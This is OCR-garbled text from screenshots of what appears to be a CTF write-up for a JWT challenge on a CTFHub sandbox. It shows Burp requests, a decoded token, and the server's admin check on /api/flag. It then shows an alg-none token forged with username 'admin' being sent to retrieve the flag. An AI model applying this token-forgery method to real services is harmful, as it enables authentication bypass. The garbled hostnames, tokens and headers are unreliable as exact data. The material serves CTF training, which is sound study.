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Go Cancel < |v > | Target: http:/ichallenge-a06068f6e9afd7cB.sandbox.ctthub.com: 10800 @J m
Request Response
J Raw T Params I Headers | Hex Raw | Headers | Hex
FOST /api/register HTTE/L.1 i HTTR/1.1 200 OK A
Host: challenge-ale0£8fEefatfd7cE. sandbox. ctfhub. com: 10500 P Server: openresty/1l.15.8.2 P
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd4; x&4; Date: Sun, 13 Jun Z0Z1 1E:38:20 GHMT
rv:89.0) Gecko/2Z01l00101 Firefox/89.0 Content-Type: application/json; charset=utf-g
Accept: */* Content-Length: 175
Aoccept-Language: Connection: keep-alive
zh-CN, zh;¢=0.8, =2h-TW;q=0.7, ch-HE; q=0.5,en-U3;=0.3,en; q=0.Z2 Access-Control-Allow-COrigin: *
Accept-Encoding: gzip, deflate Access-Control-Allow-Headers: X-Fequested-With
Content-Type: application/x-www-form-urlencodsd; Access-Control-Allow-Methods: *
charset=UTF-8
¥-Fequested-With: XMLHttpRequest {"coken": "eyIhbGo i0iJIUz T INiTIsInRScCIe T kpXVCIS . ey 2ZW Y ZXRR 2
Content-Length: Z1 CIEMCwidMIlemShbWIioidhlivicGFze3dvemQioiJhliviaWFOTIjoxNj Izl
Origin: JAYMTgwEQ . VwH1xVp Iwo ApBh SNEGIbNS ersE3 IDrtENS1i6£aXSYTE™ )

http://challenge-ale0e8fEe9atd7el. sandbox . ctfhub . com: LOS00
Connection: keep-alive

FEeferer:
http://challenge—alélégfEefatdiel. sandbox . ctfhub . com: LOS00/ &
egister

Cookie:

UM distinctid=17924£547c9381-08chfas24beedl-4c3£2d73-144000-
1789e4654Tcadfa

username=aLpassword=a
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"token":"eyJhbGci0iJIUzIINiIsInR5cCI6IkpXVCI9.eyJzZWNyZXRpZCI6MCwidXN1cm5hbWUiOiJhIiwicGFzc3dvemQiOiJhIiwiaWFOTI
joxNjIzNjAyMTgwfQ.VwHI1xVpIwoAp8b5NrGjbN56rsZ3IDrt5N9i66aXSYTE"




Libraries Crafted by Auth0Q

HEADER: ALGORITHM & TOKEN TYPE

eyJhbGeci0iJIUzITNiIsInR5cCI6IkpXVCJ9, ey

J2ZWNyZXRpZCT6MCwidXN1em5hbWUi0iJhTiwic to
GFzc3dvemQi0iJhIiwiaWF@IjoxNjIzNjAyMTgw B
£Q.VWH1xVpIwoAp8b5SNrGibNS6rsZ3IDrt5N9i6 )

6aXSYTE

PAYLOAD: DATA

"secretid”: @, /
"username”: "a",

"password”: "a",
"iat": 1623602188

VERIFY SIGNATURE

HMACSHA256 (
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret

) O secret baseb4 encoded
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data [ Referrer €% OxHEX 2 & %URL 2 &K BASEGA B Insert string to replace| | Insert repla
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Checking http://challenge-15321¢1069fbaf7b.sandbox.ctfhub.com...

await nextl);

"GET /api/flag : asvnc (ctx, next) => {
if(ctx. session. username !== '[EREaRg ) {
throw new APIError(’ permission error’, “permission denied )

const flag = fs.readFileSync(’ /flag'). toString():
ctx. rest({
flag

await next():

$—/MME: headerH® ¥ none
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ewt}glCJhthiOiAihmBuZSISCiAgInRScCIEICJKV10iCnU=|

ewogICJhbGciOiAibm9uZSIsCiAgInR5cCIBICJKV 1QiCNn0=
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{

“secretid”: [],

", «

“username”: “admin’,

“password”: “a”,
“‘iat”: 1623602180

}
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c3N3b3JkIjogImEiLAogICIpYXQi0iAXNjIzNJjAyMTgwCnoK .




Host: challenge-alOeDeBfee9atd77c8.sandbox.ctfhub.com: L0800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xE4;
rv:89.0) Gecko/20100101 Firefox/89.0

Accept: */%

Accept-Language:

zh-CN, zh; gq=0.8, zh-TW; q=0.7, zh-HK; =0.5,en-U5;c=0.3,en;qg=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

X-Pecquested-With: XMLHttpRecquest

Content-Length: Z01

Origin:

http://challenge-ale0eB8feeSatd7c8. sandbox.ctfhub.com: 10800
Connection: keep-alive

Referer:

http://challenge-ale0eBfee9atd7c8. sandbox.ctfthub.com: 10800/ 1
ogin

Cookie:
UH_distinctid=l79e46547c93BL—D£cbfa524bced2—4c3f:d73—quﬂﬂﬂ—
179e4Eg547cadfa

usernpassword=a&authorizat. ion=ewogICJhbGciOiAibmSul

SIsCiAgInRScCIEICIKV1QiCn0.ewogICIzZWNYyZXRpZCIEIFtdLAogICIle
2VybmFtZSIEICJhZG1lpbiIsCiAgInBhe3N3b3JdkIjogImEiLAogICIpYXQi0
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. Go - Cancel

Request

Hex ]

Target: http://challenge-a06068f6e9afd7c8.sandbox.ctfhub.com:10800 .‘I | t

Response

[ Raw | Headers | Hex |

GET /api/flag HTTE/L.1
ost: challenge-al Eefafd7ci.sandbox.ctfhub.com: 10500
Uzer-Agent: Mozilla/s/5.0 (Windows NT 10.0; Wingd; xE4:
rv:89.0) Gecko/20100101 Firefox/89.0

Accept: */*

Accept-Language:

zh-CHM, zh:;¢=0.8, zsh-TW:q=0.7, zh-HE; gq=0.5,en-U3;gq=0.3,en;:q=0.2

Accept-Encoding: gzip, deflate

¥-Fequested-With: XMLHttpRequest

Connection: keep-aliwve

Referer:

http://challenge-alilésffefatfdTes. sandbox. ctfhub. com: L0800/ h

oImE

Cookie:

UM distinctid=17924£547c9381-06chfaslibeedl-4c3£2d473-144000-
1789=4e547cadtfa;

sses:ack=eyJlcVybnFLZSTE ImFEbWIluliwiXZV4cGlyZSTENTYYNzY5SHMDE
IMIT4NEwikXZ lheEFnZSTeODYOMDAWHMDES ;

sges:ack.sig=VWQaZiZESAE=LIPPW-hERKI zILO4

e

HTTF/Ll.1 200 OK

Server: openresty/l.15.8.Z2

Date: Sun, 13 Jun Z0Z1 L7:02Z:5€ GMT
Content-Type: application/json; charset=utf-8
Content-Length: 45

Connection: keep-alive
Aoecess-Control-Allow-Origin: *
Access-Control-Allow-Headesrs: X-Bequested-With
Access—-Control-Allow-Methods: *

{"flag":"ctfhulk{£105918ad0e43f7ccddl0ELE} ' n"}
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